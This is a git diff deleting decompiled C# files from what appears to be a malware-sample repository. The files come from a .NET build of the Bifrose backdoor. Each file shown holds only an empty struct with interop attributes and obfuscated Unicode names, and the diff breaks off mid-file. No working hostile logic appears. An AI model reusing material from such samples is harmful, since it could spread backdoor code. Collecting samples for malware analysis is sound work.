b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0/_0082¼/ .cs deleted file mode 100644 index 77a1d2ed..00000000 --- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0/_0082¼/ .cs +++ /dev/null @@ -1,20 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‚¼.  -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace \u0082\u00BC -{ - [NativeCppClass] - [DebugInfoInPDB] - [MiscellaneousBits(65)] - [StructLayout(LayoutKind.Sequential, Size = 12)] - internal struct \u00A0 - { - } -} diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0/_0082¼/¨.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0/_0082¼/¨.cs deleted file mode 100644 index a2ba0e3d..00000000 --- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0/_0082¼/¨.cs +++ /dev/null @@ -1,20 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‚¼.¨ -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace \u0082\u00BC -{ - [DebugInfoInPDB] - [MiscellaneousBits(65)] - [NativeCppClass] - [StructLayout(LayoutKind.Sequential, Size = 36)] - internal struct \u00A8 - { - } -} diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0/_0082¼/­.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0/_0082¼/­.cs deleted file mode 100644 index e166aec8..00000000 --- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0/_0082¼/­.cs +++ /dev/null @@ -1,20 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‚¼.­ -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace \u0082\u00BC -{ - [DebugInfoInPDB] - [MiscellaneousBits(65)] - [NativeCppClass] - [StructLayout(LayoutKind.Sequential, Size = 4)] - internal struct \u00AD - { - } -} diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0/_0082¼/±.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0/_0082¼/±.cs deleted file mode 100644 index 37593263..00000000 --- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0/_0082¼/±.cs +++ /dev/null @@ -1,20 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‚¼.± -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace \u0082\u00BC -{ - [DebugInfoInPDB] - [MiscellaneousBits(65)] - [NativeCppClass] - [StructLayout(LayoutKind.Sequential, Size = 16)] - internal struct \u00B1 - { - } -} diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0/_0082¼/´.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0/_0082¼/´.cs deleted file mode 100644 index eef06ba6..00000000 --- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0/_0082¼/´.cs +++ /dev/null @@ -1,20 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‚¼.´ -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace \u0082\u00BC -{ - [NativeCppClass] - [DebugInfoInPDB] - [MiscellaneousBits(65)] - [StructLayout(LayoutKind.Sequential, Size = 4)] - internal struct \u00B4 - { - } -} diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0/_0082¼/µ.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0/_0082¼/µ.cs deleted file mode 100644 index 4c6d28ba..00000000 --- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0/_0082¼/µ.cs +++ /dev/null @@ -1,20 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‚¼.µ -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace \u0082\u00BC -{ - [NativeCppClass] - [DebugInfoInPDB] - [MiscellaneousBits(65)] - [StructLayout(LayoutKind.Sequential, Size = 4)] - internal struct µ - { - } -} diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0/_0082¼/Á.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0/_0082¼/Á.cs deleted file mode 100644 index d57650ac..00000000 --- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0/_0082¼/Á.cs +++ /dev/null @@ -1,20 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‚¼.Á -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace \u0082\u00BC -{ - [NativeCppClass] - [MiscellaneousBits(65)] - [DebugInfoInPDB] - [StructLayout(LayoutKind.Sequential, Size = 32)] - internal struct Á - { - } -} diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0/_0082¼/Ê.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0/_0082¼/Ê.cs deleted file mode 100644 index a2b74284..00000000 --- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0/_0082¼/Ê.cs +++ /dev/null @@ -1,20 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‚¼.Ê -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace \u0082\u00BC -{ - [DebugInfoInPDB] - [NativeCppClass] - [MiscellaneousBits(65)] - [StructLayout(LayoutKind.Sequential, Size = 4)] - internal struct Ê - { - } -} diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0/_0082¼/ä.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0/_0082¼/ä.cs deleted file mode 100644 index ca4f9aed..00000000 --- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0/_0082¼/ä.cs +++ /dev/null @@ -1,21 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‚¼.ä -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace \u0082\u00BC -{ - [UnsafeValueType] - [NativeCppClass] - [DebugInfoInPDB] - [MiscellaneousBits(65)] - [StructLayout(LayoutKind.Sequential, Size = 16)] - internal struct ä - { - } -} diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0/å/_0082_0090.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0/å/_0082_0090.cs deleted file mode 100644 index 48812cce..00000000 --- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0/å/_0082_0090.cs +++ /dev/null @@ -1,20 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: å.‚ -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace å -{ - [DebugInfoInPDB] - [NativeCppClass] - [MiscellaneousBits(64)] - [StructLayout(LayoutKind.Sequential, Size = 1)] - internal struct \u0082\u0090 - { - } -} diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0/å/_0082_0098.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0/å/_0082_0098.cs deleted file mode 100644 index f720b53a..00000000 --- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0/å/_0082_0098.cs +++ /dev/null @@ -1,20 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: å.‚˜ -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace å -{ - [DebugInfoInPDB] - [MiscellaneousBits(64)] - [NativeCppClass] - [StructLayout(LayoutKind.Sequential, Size = 4)] - internal struct \u0082\u0098 - { - } -} diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0/å/_0082_009D.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0/å/_0082_009D.cs deleted file mode 100644 index 91a4e47e..00000000 --- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0/å/_0082_009D.cs +++ /dev/null @@ -1,20 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: å.‚ -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace å -{ - [DebugInfoInPDB] - [NativeCppClass] - [MiscellaneousBits(64)] - [StructLayout(LayoutKind.Sequential, Size = 1)] - internal struct \u0082\u009D - { - } -} diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0/å/_008E.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0/å/_008E.cs deleted file mode 100644 index d615a7e7..00000000 --- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0/å/_008E.cs +++ /dev/null @@ -1,28 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: å.Ž -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0.exe - -using Microsoft.VisualC; -using System; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace å -{ - [NativeCppClass] - [DebugInfoInPDB] - [MiscellaneousBits(64)] - [StructLayout(LayoutKind.Sequential, Size = 1)] - internal struct \u008E - { - [NativeCppClass] - [CLSCompliant(false)] - [DebugInfoInPDB] - [MiscellaneousBits(64)] - public enum \u00A9 - { - } - } -} diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0/å/®.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0/å/®.cs deleted file mode 100644 index 201d6abb..00000000 --- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0/å/®.cs +++ /dev/null @@ -1,28 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: å.® -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0.exe - -using Microsoft.VisualC; -using System; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace å -{ - [DebugInfoInPDB] - [MiscellaneousBits(64)] - [NativeCppClass] - [StructLayout(LayoutKind.Sequential, Size = 1)] - internal struct \u00AE - { - [CLSCompliant(false)] - [DebugInfoInPDB] - [NativeCppClass] - [MiscellaneousBits(64)] - public enum \u00A9 - { - } - } -} diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0/å/Ñ.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0/å/Ñ.cs deleted file mode 100644 index 47d58901..00000000 --- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0/å/Ñ.cs +++ /dev/null @@ -1,20 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: å.Ñ -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace å -{ - [NativeCppClass] - [MiscellaneousBits(64)] - [DebugInfoInPDB] - [StructLayout(LayoutKind.Sequential, Size = 4)] - internal struct Ñ - { - } -} diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0/å/Ö.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0/å/Ö.cs deleted file mode 100644 index 0db5e9ec..00000000 --- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0/å/Ö.cs +++ /dev/null @@ -1,20 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: å.Ö -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace å -{ - [NativeCppClass] - [DebugInfoInPDB] - [MiscellaneousBits(64)] - [StructLayout(LayoutKind.Sequential, Size = 12)] - internal struct Ö - { - } -} diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0/å/Ü.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0/å/Ü.cs deleted file mode 100644 index 88c71af6..00000000 --- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0/å/Ü.cs +++ /dev/null @@ -1,20 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: å.Ü -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace å -{ - [DebugInfoInPDB] - [NativeCppClass] - [MiscellaneousBits(64)] - [StructLayout(LayoutKind.Sequential, Size = 1)] - internal struct Ü - { - } -} diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0/å/è.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0/å/è.cs deleted file mode 100644 index 42e0500b..00000000 --- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0/å/è.cs +++ /dev/null @@ -1,20 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: å.è -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace å -{ - [MiscellaneousBits(64)] - [NativeCppClass] - [DebugInfoInPDB] - [StructLayout(LayoutKind.Sequential, Size = 1)] - internal struct è - { - } -} diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0/õ/_0081Ï.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0/õ/_0081Ï.cs deleted file mode 100644 index baa0047a..00000000 --- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0/õ/_0081Ï.cs +++ /dev/null @@ -1,21 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: õ.Ï -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace õ -{ - [DebugInfoInPDB] - [MiscellaneousBits(65)] - [NativeCppClass] - [UnsafeValueType] - [StructLayout(LayoutKind.Sequential, Size = 20)] - internal struct \u0081Ï - { - } -} diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0/õ/_0099.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0/õ/_0099.cs deleted file mode 100644 index 229893e7..00000000 --- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0/õ/_0099.cs +++ /dev/null @@ -1,20 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: õ.™ -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace õ -{ - [NativeCppClass] - [MiscellaneousBits(65)] - [DebugInfoInPDB] - [StructLayout(LayoutKind.Sequential, Size = 1)] - internal struct \u0099 - { - } -} diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0/õ/¦.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0/õ/¦.cs deleted file mode 100644 index cdfc801c..00000000 --- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0/õ/¦.cs +++ /dev/null @@ -1,20 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: õ.¦ -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace õ -{ - [NativeCppClass] - [DebugInfoInPDB] - [MiscellaneousBits(65)] - [StructLayout(LayoutKind.Sequential, Size = 1)] - internal struct \u00A6 - { - } -} diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0/õ/¿.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0/õ/¿.cs deleted file mode 100644 index 1ef8e698..00000000 --- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0/õ/¿.cs +++ /dev/null @@ -1,20 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: õ.¿ -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using 